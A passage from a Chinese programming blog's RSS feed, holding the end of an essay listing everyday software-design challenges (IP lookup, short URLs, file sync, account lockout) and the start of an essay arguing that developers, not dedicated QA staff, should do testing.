isPermaLink=\"false\">http://coolshell.cn/?p=7048</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>面试过一些应聘者，当我问到为什么换工作的时候，他们都会告诉我，现在的工作没有挑战，无聊，所以想换一个有挑战的工作。于是我问了一下他的工作情况，发现那些有挑战的东...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7048.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7048.html\">挑战无处不在</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" title=\"解决问题\" src=\"https://coolshell.cn/wp-content/uploads/2012/04/11_154056_1-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" />面试过一些应聘者，当我问到为什么换工作的时候，<strong>他们都会告诉我，现在的工作没有挑战，无聊，所以想换一个有挑战的工作</strong>。于是我问了一下他的工作情况，发现那些有挑战的东西他还没有搞懂。我总是为有这样的认识的朋友感到惋惜，因为我总是认为有挑战的东西无处不在啊，不能因为工作上没有，自己就放纵了自己。比如，面试过一个做地图的工程师，他的工作是做计算地图上任意两点的最短或最优路径的一部分功能。我觉得这个事很有挑战，也有难度，应聘者说，没什么挑战，因为他做的东西只是调用相关的算法库。他在这个项目干了2年了，当我问他有没有看过算法库，知不知道地图是怎么存储的？他却告诉我，<strong>因为没有去做，所以就没有去了解，等做的时候再了解</strong>（我希望有这样想法的人都去看看<a href=\"https://coolshell.cn/articles/4235.html\" rel=\"bookmark\">程序员的谎谬之言还是至理名言？</a>）。这样的例子很多，很多应聘者在面试中不能和我一起解决某个问题的时候，比如：OOD，数据库设计，系统设计，等，<strong>他们都会告诉我，不好意思，因为没有做过相关的事情，所以就不懂了，所以，他需要一个像我们这样的项目来学习和锻炼</strong>。我并不要求你能解决你所不擅长的问题，但毕竟数据库，OO，系统设计都是软件开发的基础知识，多少要懂一些吧。</p>\n<p>但另外一方面，他们都会告诉我他们对技术充满和热情和兴趣，有着很强的学习能力，也有很能吃苦的态度。这也许是某面试宝典上看来的，面经上可能都会说，如果面对不能作答问题，可以说一下自己的态度和决心。可惜的是，我并不这么想的，我在我的两篇关于招聘的文章里（<a title=\"我是怎么招聘程序员的\" href=\"https://coolshell.cn/articles/1870.html\" target=\"_blank\">我是怎么招聘程序员的</a>，<a title=\"再谈“我是怎么招聘程序员的”（上）\" href=\"https://coolshell.cn/articles/4506.html\" target=\"_blank\">再谈我是怎么招聘程序员的</a>）都说过一些我对如何择人的想法。这里重点说明一下其中两个观点：</p>\n<ul>\n<li><strong>关于热情和态度，说白了就是不要给自己找借口</strong>。比如：“工作忙事多没时间学所以可以不懂”，“工作中没用到所以可以不懂”，“工作没有挑战，一直没有遇到合适的项目”等等。时间可以挤，工作之余可以学，随时随地去思考，挑战是无处不在的…… 想想那些你有热情的事，你会发现，几乎没有什么可以阻止你去做那些事。</li>\n</ul>\n<ul>\n<li><strong>对于某些事情，如果以前没有在你身上发生过，那么这个事情在未来也不会发生</strong>。如果你以前没有对你接触过的东西去学习，去深挖，去思考，去改善，那么我不会相信你会在未来面对新的东西的时候也会有这样的态度；如果你以前没有用业余时间学习一些项目之外的东西，那么我也不会相信你会在未来会这样做；如果你以前没有把你的热情和态度转换成你的知识，经验和成果，那么我也不会相信你会在未来能做到。</li>\n</ul>\n<p>这两个观点可能太刻薄了，但是，当我回想我自己的经历的时候，观察程序员的成长过程的时候，我发现，优秀的程序员都是相似的，当他们还在是一个菜鸟的时候，就已经有各种成为高手的苗头了，这些苗头就是——<strong>他们热爱思考，喜欢解决难题，对新鲜事物非常好奇，总是找人讨论，可以用自己的业余时间狠命研究很多和工作无关的技术，会在业余的时间里写些有趣的小程序，或是会把自己的思路书写下来，等等，等等</strong>。</p>\n<p><span id=\"more-7048\"></span></p>\n<h4>一些问题</h4>\n<p>我这样说，大家可能会觉得“挑战无处不在”这句话太虚了，而且可能不明白什么叫“热爱思考”，这里，我把我的或别人的思考的东西罗列一下，这些问题，有的会让我思考推敲，有的会让我疯狂地查资料，问人，或是找人讨论，询问。大家不妨可以跟着我一起思考一下。</p>\n<p>酷壳上有一些小问题，比如：<a title=\"面试题：火车运煤问题\" href=\"https://coolshell.cn/articles/4429.html\" target=\"_blank\">火车运煤问题</a>，<a title=\"面试题：赛马问题\" href=\"https://coolshell.cn/articles/1202.html\" target=\"_blank\">赛马问题</a>，这些问题都不够实际，我觉得也这些问题有点无聊，我们不妨观察一下我们身边的东西，我们就可以看到很多有挑的战的东西，对于这些问题，如果是你来做，你会怎么做呢？</p>\n<p>0）许多年前，当我看到珊瑚虫QQ把IP转成地实际地址的时候，我就在思考，如果我有一个IP网段的数据（<a title=\"全球IP地址数据库\" href=\"https://coolshell.cn/articles/244.html\" target=\"_blank\">全球IP地址数据</a>），我怎么来完成这个功能呢？比如：某地点的IP网段是：10.10.1.* &#8211; 10.10.5.*。我要有一个IP地址是：10.10.3.20，我怎么匹配这个网段？用Hash表吗？好像有问题。把IP字串转成整型？排序+二分法，好像更容易解决一些，但是如果有一些修改的话好像有点不方便。用树型结构（森林）会不会更好一些呢？如果我要通过地点反查IP段呢？</p>\n<p>1）网上短网址服务，你有想过这个短网址生成的算法是什么，如何能做到能最短？怎么查询？你也许觉得会用key-value的NoSQL。那么，如果对于同一个URL，如果要重用已生成的短网址，你怎么用key-value的NoSQL来解决？</p>\n<p>英汉词典的检索和这个很相似，如果通过英文查汉语，又通过汉语查英文？如果是N多种语言的互相翻译呢？你的数据存储和检索如何做呢？</p>\n<p>2）当我看到Dropbox这样的云同步的软件的时候，我不知道你是否会和我一样会去思考，在多个设备间的文件同步是怎么做的？如果网盘上有几万，甚至几百万个文件，当要和我的本地数据同步时，他如何比较经济地知道哪些文件更改了？需要向服务端同步或是向客户端同步。更进一步，你有没有想过没有中心结点的文件同步问题？你有没有想过，文件冲突的问题？</p>\n<p>3）我们的新员工入职的时候，有一些公司会给新员工的帐号生成一个随机口令，然后新员工可以在登录后修改口令（我一直在想我们的银行应该为用户生成一个随机口令，而不是设置一个6个0或是6个8的初始口令）。那么，对生成随机安全口令的算法知道怎么做吗？如果你写出这个算法来了，你怎么证明这个算法是足够随机，生成的密码强度足够大的？（你会发现，测试口令是否随机是否安全的程序，会比生成器更难写）</p>\n<p>4）关于动态密码RSA SecurID（如下图），这个小设备上的6位数字会每60秒变一次，在你登录的时候，需要输入这6位数字，服务器上会认证这6个数字，那么这个事怎么做？再试想一下，这样的小设备我要发给我的客户，我希望我的每个客户都使用不一样的随机算法，就算是算法一样，算法的种子也不能一样。那么，如果我的客户一共有百万甚至千万，我的服务端怎么管理这些用户的SecurID？</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"RSA Secure ID\" src=\"http://keithelder.net/blog/images/keithelder_net/blog/WindowsLiveWriter/SettingupRSASecureIDonWindowsMobile_A318/image_1.png\" alt=\"\" width=\"230\" height=\"125\" /></p>\n<p>5）看看我们的网银或是ATM的用户登录功能，如果你登录时输错口令超过3次以上，你的帐号就会被冻结，需要去柜台重置口令。这个功能看上去很安全，因为可以防止黑客在线尝试破解你的登录口令。不过这又带来了另一个问题，如果有一个恶意用户知道你的卡号，他就上网或是造个卡故意输错你的口令，导致你的帐号被冻结，让你一次又一次地去银行排队重置。面对这样的情况，你该怎么解决？</p>\n<p>6）当你在网上购物的时候，你会去一些电子商务的网站，这些网站都会对他们的产品进行分类，有大分类有子分类。你进到分类后，你可以通过不同的属性来过滤不同该分类下的商品，注意，不同分类下的商品的过滤属性不一样，如，手机分类和电视分类的属性都不一样。试问，你如何设计你的数据库表结构？</p>\n<p>7）当你在泡各种论坛或SNS社区的时候，你会看到，用户在互相回复的时候存在一个问题，尤其是用户量很大的时候，大家的回复完全交织在一起什么 也看不清楚。以前有的论坛使用树形列表来解决这个问题，树形列表好是好，但是把一棵大树放在那里还是很难看。Twitter.com给了一个非常不错的解决方式，就是所有人的回复或是回复的回复都按时间线放在一起，如果你要查看某回复的上下文的话，点击一下这个回复就可以看到了（我在我在“<a title=\"国内微博和Twitter的最大不同\" href=\"https://coolshell.cn/articles/5247.html\" target=\"_blank\">国内微博和Twitter的最大不同</a>”中批评过这个事）。新浪微博在禁评论事件后也开发出了这个功能。你知道这个事怎么做吗？</p>\n<p>更进一步，新浪微博的设计上有很多的缺陷，单说新开发的“查看评论”功能这个事来说，还是不完美，因为某些评论会随着转发带到别的地方去，他的“查看评论”功能只能看到当个贴子下的东西，不能把所有转发出去的贴子的评论一起综合起来。虽然这对于用户使用来说没有什么在不了的，但是对于软件设计来说，我们不妨做一个练习，可以思考一下，怎么样设计会更好。</p>\n<p>再举一反三，有时候，我发现多个网友会提出同样的问题，我很想用一个回复同时回复他们。如果有这样的功能的话，我们的回复就会从一个树形变成另外一种形状了，我们又该如何设计才能支持这样的功能呢？</p>\n<p>8）说到新浪微博，我就想多说几句，我最近观察到了两个事：</p>\n<ul>\n<li>一个是验证码的事，如果你在你的帐号设置里设置了“登录需要验证码”，你会发现，在登录新浪微博的时候，仅当你输对了口令后，系统才会提示你输入验证码。为什么呢？因为，这个“登录需要验证码”这绑定在你的帐号设置里的，所以，要取这个设置，就需要你登录成功（？！），老实说，这个功能在设计上有点二（中国特色）。如果是你，你怎么设计呢？</li>\n</ul>\n<ul>\n<li>另一个事情是新浪微博或Twitter的用户名修改后，被他人@过的信息就再也链接不到你这里来了。我们来试想一下，如果是你，你怎么解决这个问题？（我的<a href=\"http://weibo.com/1401880315/yclT9m6Fp\" target=\"_blank\">我的微博里讨论过这个事</a>，不一定对，供大家参考）</li>\n</ul>\n<p>9）我有时候我会发一些快递，有时候是一些小东西，有时候是一些大包裹，有时候近，有时候远。我发现一个有趣的现象，就是快递员来收件的时候，快递的价格都是快递员自己说了算的，我还可以和他们砍价。我观察到他们会以距离，重量大小来订价。于是我在想如果你要运营一个物流公司，你作为这个物流公司的程序员，你需要开发一个软件来标注快递价格，你会怎么做？比如，这个快递公司会说，在北京五环以内是一个价，以外是一个价，出省后，上海以北是一个价，上海以南是一个价，等等，这只是北京的，如果把全国的各个城市到别的城市的价格都考虑进来，还要受到重量，体积，价格，是否加急等等因素的影响，你的数据库设计要怎么做呢？</p>\n<p>A）国内的水军太恐怖了。他们活动的刷排名，刷信用，刷积分，刷粉丝等等地方，你是否想过如何解决这个问题？还有广告联盟的欺诈问题，等等。这些东西，有的还是可以通过技术手段进行限制和计算的，你有思考过应该使用什么样的方法吗？</p>\n<p>B）说到水军就不能不提垃圾邮件和垃圾短信。你有没有想过邮件系统怎么过滤垃圾信息的？</p>\n<p>C）关于推荐功能，这必然是一个热点，这是软件产品从request -&gt; response的被动方式到主动方式的进化。微博上有推荐关注者的功能，电商有推荐商品的功能，豆瓣上有推荐影片音乐书籍的功能。不同的领域的推荐算法各不相同，你有没有思考过，如果是你来做推荐算法的时候，你会怎么做吗？更进一步，推荐通常伴随着学习和匹配，学习用户的行为，匹配相似的东西，你想过怎么学习用户的行为，怎么匹配相似的东西了吗？</p>\n<p>D）关于微博，某名人有几千万的粉丝，当这个名人发一个微博的时候，需要通知这几千万个粉丝，这个在系统架构上应该怎么做？如果某天这个名人与人发生口角，和人吵架，拼命的刷微博，那么，系统架构要怎么设计才能支持这样的事呢？</p>\n<p>E）想想火车票的分段卖票的方式，现有的解决方案是为每个站点预留票，于是我们可以看到火车始发时，有很多空坐，这些空坐都是留给下一个站点的，我们能否开发出一个系统来，可以把一条线上的这些这站上那站下的旅客统筹规划一下，制定出一个最经济的方式，让火车运行得更有效。</p>\n<p>F）对于地铁公交网络，我们希望这个网络既能有更多的覆盖，又能节省路线，你能不能设计出一个系统，当我们输入一些数据（如：站点，是否终点或起点站，该站的下一站可能方向（多个），该站是以上车为主，还是下车为主，等等），你的系统能自动安排出各种线路吗？</p>\n<p><strong>这样的问题实在是太多了，都是可以让我们去思考的，并不一定有经济效益，但是至少可以让你锻炼一下怎么去分析问题，怎么去思考，怎么去解决问题</strong>。</p>\n<h4>总结</h4>\n<p>综上所述，我想说的是：</p>\n<p>1） 只要你想，挑战是无处不在的。那怕是你现有的觉得无聊的东西，只要你想做到极致，那怕是一个简单的功能（比如<a title=\"你会做Web上的用户登录功能吗？\" href=\"https://coolshell.cn/articles/5353.html\" target=\"_blank\">用户登录的功能</a>）也会让你充满挑战。</p>\n<p>2）观察身边的事物，去思考，去调查，举一反三，这才是你成长的源泉。不要把你的成长推给客观原因。</p>\n<p>3）我的<a title=\"软件开发的“三重门”\" href=\"https://coolshell.cn/articles/6526.html\" target=\"_blank\">软件开发的三重门</a>中说过，第三重门是解决实际问题，让你的业务处理更为的智能，更为地强大。我不知道为什么这一两年，我们的圈子里所有的人都在关注着“云”，“海量数据处理”，“高性能架构”这样的东西，尤其是那些性能调的高性能的东西并不很难，而这些更为实际问题更有挑战性，也更有前景。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7048.html\">挑战无处不在</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7048.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>167</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>我们需要专职的QA吗？</title>\n\t\t<link>https://coolshell.cn/articles/6994.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6994.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 11 Apr 2012 00:48:59 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[QA]]></category>\n\t\t<category><![CDATA[测试]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6994</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这个文章必然是有争议的，我在我的微博上讨论过很多次了，每次都是很有争议的。有不同的观点，有争论总是一件好事，这样可以引发大家的思考。所以，对于我的这篇博文，如果...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6994.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6994.html\">我们需要专职的QA吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这个文章必然是有争议的，我在我的<a href=\"http://weibo.com/haoel\" target=\"_blank\">微博</a>上讨论过很多次了，每次都是很有争议的。有不同的观点，有争论总是一件好事，这样可以引发大家的思考。所以，对于我的这篇博文，如果你赞同我的观点，我会感到高兴，如果你会去认真地深入思考，我也会高兴，如果你反对，没关系，可以讨论。</p>\n<p>在此之前，我想说明一下我观点里的这个“专职QA”是怎么定义的。</p>\n<ol>\n<li>其是很多公司成立的专门做测试的技术人员，仅测试不开发。</li>\n<li>这些QA对于软件开发技术并不熟悉，甚至不懂。</li>\n</ol>\n<p>我经历过一些公司都有专职的QA团队（专职的测试人员），自从上个公司我的开发团队在一个项目上被QA部门搞得一团糟，我越来越怀疑专职QA存在在意义。我的观点不一定对，但请让我鲜明地表达一下——<strong>我觉得是不需要全职的QA的，甚至不需要QA这一专职角色或部门，因为，不懂开发的人必然做不好测试。就像不懂开发的研发经理必然管不好研发团队一样。</strong>我越来越觉得Dev应该应该是做测试最合适的人选，这必然是未来的趋势 （因为我已经看到了中国程序员的进步，相比起10年前，今天的程序员已经是非常全面了，再来十年，必然证明我的观点是对的）。</p>\n<p>在我正在展开说明之前，我想引用两篇文章：</p>\n<h4>两篇文章</h4>\n<p>一篇是  “<a href=\"http://sriramk.com/blog/2012/01/testing.html\" target=\"_blank\">On testers and testing</a>”(<a href=\"http://www.aqee.net/on-testers-and-testing/\" target=\"_blank\">中文翻译</a>)，本文的作者Sriram Krishnan是一名程序员，曾在Yahoo和微软工作过，开发过很多软件，曾被纽约时报<a href=\"http://www.nytimes.com/2011/02/27/business/27novel.html\" target=\"_blank\">报道</a>，写过<a href=\"http://amzn.to/progazure\" target=\"_blank\">一本书</a>，本文是他的一篇博客。他在文章中表达了这几个观点——</p>\n<blockquote><p>大多数的开发团队并不需要一个独立的测试角色。即使要有，那么所有的开发时间比上所有的测试时间应该 &gt;20:1的。。证据吗？光看看一些从古至今最成功的软件开发团队就知道了。不论是当今的Facebook，还是30年前最初的NT团队，很多伟大的产品都是出自没有或很少测试人员的团队。</p>\n<p>开发人员应该测试自己的代码。没什么可说的。背后的道理并不重要。这包括单元测试，全覆盖的自动化测试或手工测试或组合测试。如果你的开发人员不能/不愿意或认为这“不归我管”，那你需要更好的程序员。</p></blockquote>\n<p>另一篇文章是邹欣的“<a id=\"cb_post_title_url\" href=\"http://www.cnblogs.com/xinz/archive/2012/04/09/2439695.html\" target=\"_blank\">现代软件工程讲义 9 测试 QA 的角色和分工</a>”，这是一篇很不错的文章。他在文章里提到了分工的必要性，比如第三方的鉴定机构，<strong>并且也指出了分工的一些问题，比如，画地为牢的分工，无明确责任的分工，等，这些问题直接命中了分工的要害</strong>。我隐约觉得，我和邹欣的很多观点是相同的，我们内容上是相同的，只是形式上还有分歧。另外，我的观点太鲜明了，从而容易导向极端的理解。</p>\n<p>你看，<strong>我们都同意，Dev要懂测试，QA要懂开发，只不过分工不同，既然你中有我，我中有你，那就不要分彼此了，一起携手开发测试吧</strong>。（另外，我个人觉得不懂开发的测试人员不可能测试得好）</p>\n<p><em><strong>&#8212;- update&#8212;- </strong></em>{</p>\n<p><span style=\"color: #008000;\">     //本篇文章出来后，网上出现了一些对此讨论的文章，我一并更新在这里</span><br />\n【 《<a id=\"cb_post_title_url\" href=\"http://www.cnblogs.com/guanhe/archive/2012/04/12/response_to_do_we_need_qa.html\">对《我们需要专职QA吗？》的回应</a>》作者：<a href=\"http://weibo.com/n/%E6%AE%B5%E5%BF%B5-%E6%AE%B5%E6%96%87%E9%9F%AC\">@段念-段文韬</a> 】<br />\n【 《<a href=\"http://blog.sina.com.cn/s/blog_55ba8b460100yawe.html\" target=\"_blank\">关于“我们需要专职的QA吗”》</a>作者：<a href=\"http://weibo.com/u/1764108363\" target=\"_blank\">@Jacky郭</a> 】<br />\n【 《<a href=\"http://blog.sina.com.cn/s/blog_7022adbf0100zgqo.html\" target=\"_blank\">我们需要专职的QA吗？（评）</a>》作者：@<a title=\"Monkey陳曄曄\" href=\"http://weibo.com/aiwanglinjun\" target=\"_blank\">Monkey陳曄曄</a> 】<br />\n【《 <a id=\"blog-title-link\" href=\"http://thinkcool.weebly.com/1/post/2012/04/qa.html\" target=\"_blank\">《我们需要专职的QA吗？》读后感</a>》作者：@ <a title=\"花生色魔叔\" href=\"http://weibo.com/bluesgu\">花生色魔叔</a>】</p>\n<p>}</p>\n<p><span id=\"more-6994\"></span></p>\n<h4>我的故事</h4>\n<p>我再说说我最糟糕的QA经历吧，这个公司的QA部门只做测试，他们的leader觉得所有的test design和test 的过程都不需要Dev参与，他们是独立于Dev之外的部门，他们几乎不关心Dev的设计和实现，他们只关心能跑通他们自己设计的test case。但是去执行Test Case的时候，又需要Dev的支持，尤其在环境设置，测试工具使用，确认是否是bug方面，全都在消耗着Dev的资源，最扯的是，他们对任何线上的问题不负责，反正出了问题由Dev加班搞定。</p>\n<p>我有一次私自review他们的test case的时候，发现很多的test case这样写到 &#8211; “Expected Result：Make sure every thing is fine&#8221; ，WTF，什么叫“Every thing is fine”？！而在test case design的时候，没有说明test environment/configuration 是什么？没有说明test data在哪里？Test Case、Test Data、Test Configuration都没有版本控制，还有很多Test Case设计得非常冗余（多个Test Case只测试了一个功能），不懂得分析Function Point就做Test Design。另外，我不知道他们为什么那么热衷于设计一堆各式各样的Negative Test Case，而有很多Positive的Test Case没有覆盖到。为什么呢，因为他们不知道开发和设计的细节，所以没有办法设计出Effective的Test Case，只能从需求和表面上做黑盒。</p>\n<p>在做性能测试的时候，需要Dev手把手的教怎么做性能测试，如何找到系统性能极限，如何测试系统的latency，如何观察系统的负载（CPU，内存，网络带宽，磁盘和网卡I/O，内存换页……）如何做Soak Test，如何观察各个线程的资源使用情况，如何通过配置网络交换机来模拟各种网络错误，等等，等等。</p>\n<p>测试做得也不认真，大量的False Alarm，都是环境问题，比如：安装新版本后没有重启服务，没有使用新的配置文件，网络配置，等等，等等。</p>\n<p>在项目快要上线前的一周，我又私自查看了一下他们的Test Result，我看到5天的Soak Test 的内存使用一直往上涨，很明显的内存泄露，这个情况发生在2个月前，但是一直都没有报告，我只好和我的程序员每天都加班到凌晨，赶在上线前解决了这个问题。但是，QA部门的同学们就像没发生什么事似的，依然正常上下班。哎……</p>\n<p>为什么会这样？我觉得有这么几点原因（和邹欣的观点一样）</p>\n<ol>\n<li>给了QA全部测试的权力，但是没有给相应的责任，</li>\n<li>QA没有体会过软件质量出问题后的痛苦（解决线上问题的压力），导致QA不会主动思考和改进。</li>\n<li>QA对Dev的开发过程和技术完全不了解，增加了很多QA和Dev的沟通。</li>\n<li>QA对软件项目的设计和实现要点不了解，导致了很多不有效的测试。</li>\n</ol>\n<p><span style=\"color: #cc0000;\"><strong>注：我无意在这里贬低QA的能力工作。只是我看到了QA因为没有参与开发的一些现实问题。</strong></span></p>\n<h4>我的观点</h4>\n<p>邹欣对于分工出现的问题给出了两点解决方法：</p>\n<blockquote>\n<ul>\n<li>充分授权和信任（Empower team members）</li>\n<li>各司其职，对项目共同负责（Establish clear accountability and shared responsibility）</li>\n</ul>\n</blockquote>\n<div>我的观点是，<strong>理论上正确，操作上太虚了。这就像我们国家喊的“为人民服务”的口号一样，没有具体的方法，根本无法落实。</strong></div>\n<p>我无意在这里贬低QA的工作，我也无意因为这个事走向另一个极端。但是，我在现在公司的经历，还有很多新兴公司的做法，<span style=\"color: #cc0000;\"><strong>我越来越觉得软件开发，真的不需要专职的QA，更不需要只写代码不懂做测试的专职的Dev</strong></span>。观点如下：</p>\n<p><strong>1）</strong> <strong>开发人员做测试更有效</strong></p>\n<ul>\n<li>开发人员本来就要测试自己写的软件，如果开发人员不懂测试，或是对测试不专业，那么这就不是一个专业的开发人员。</li>\n<li>开发人员了解整个软件的设计和开发过程，开发人员是最清楚应该怎么测试的，这包括单元测试，功能测试，性能测试，回归测试，以及Soak Test 等。</li>\n<li>开发人员知道怎么测试是最有效的。开发人员知道所有的function point，知道fix一个bug后，哪些测试要做回归和验证，哪些不需要。开发人员的技术能力知道怎么才能更好的做测试。</li>\n</ul>\n<p>很多开发人员只喜欢写代码，不喜欢做测试，或是他们说，开发人员应该关注于开发，而不是测试。这个思路相当的错误。开发人员最应该关注的是软件质量，需要证明自己的开发成果的质量。<strong>开发人员如果都不知道怎么做测试，这个开发人员就是一个不合格的开发人员</strong>。</p>\n<p>另外，<strong>我始终不明白，为什么不做开发的QA会比Dev在测试上更专业？ 这一点都说不通啊</strong>。</p>\n<p><strong>2）减少沟通，扯皮，和推诿</strong></p>\n<p>想想下面的这些情况你是否似曾相识？</p>\n<ul>\n<li>QA 做的测试计划，测试案例设计，测试结果，总是需要Dev来评审和检查。</li>\n<li>QA在做测试的过程中，总是需要Dev对其测试的环境，配置，过程做指导。</li>\n<li>QA总是会和Dev争吵某个问题是不是BUG，争吵要不要解决。</li>\n<li>无论发现什么样的问题，总是Dev去解决，QA从不fix问题。</li>\n<li>我们总是能听到，线上发生问题的时候，Dev的抱怨QA这样的问题居然没测出来，</li>\n<li>QA也总会抱怨Dev代码太差，一点也不懂测试，没怎么测就给hand over 给QA了。</li>\n<li>QA总是会push Dev，这个bug再不fix，你就影响我的进度了。</li>\n<li>等等，等等。</li>\n</ul>\n<p>如果没有QA，那么就没有这么多事了，DEV自己的干出来的问题，自己处理，没什么好扯皮的。</p>\n<p>而一方面，QA说Dev不懂测试，另一方面Dev说QA不懂技术，而我们还要让他们隔离开来，各干各的，这一点都不利于把Dev和QA的代沟给填平了。<strong>要让Dev理解QA，让QA理解Dev，减少公说公有理，婆说婆有理的只站在自己立场上的沟通，只有一个方法，那就是让Dev来做测试，让QA来做开发</strong>。这样一样，大家都是程序员了。</p>\n<p><strong>3）吃自己的狗食</strong></p>\n<p>真的优秀的开发团队都是要吃自己狗食的。这句话的意思是——<strong>如果你不能切身体会到自己干的烂事，自己的痛苦，你就不会有想要去改进的动机</strong>。<strong>没有痛苦，就不会真正地去思考，没有真正的思考，就没有真正的进步</strong>。</p>\n<p>在我现在的公司，程序员要干几乎有的事，从需求分析，设计，编码，集成，测试，部署，运维，OnCall，从头到尾，因为：</p>\n<ul>\n<li>只有了解了测试的难度，你才明白怎么写出可测试的软件，怎么去做测试的自动化和测试系统。</li>\n<li>只有自己真正去运维自己的系统，你才知道怎么在程序里写日志，做监控，做统计……</li>\n<li>只有自己去使用自己的系统，你才明白用户的反馈，用户的想法，和用户的需求。</li>\n</ul>\n<p>所以，<strong>真正的工程师是能真正明白软件开发不单单只是coding，还更要明白整个软件工程</strong>。只明白或是只喜欢coding的，那只是码农，不能称之为工程师。</p>\n<p><strong>4）其它问题</strong></p>\n<ul>\n<li><strong>关于SDET</strong>。全称是Software Development Engineer on Test。像微软，Google， 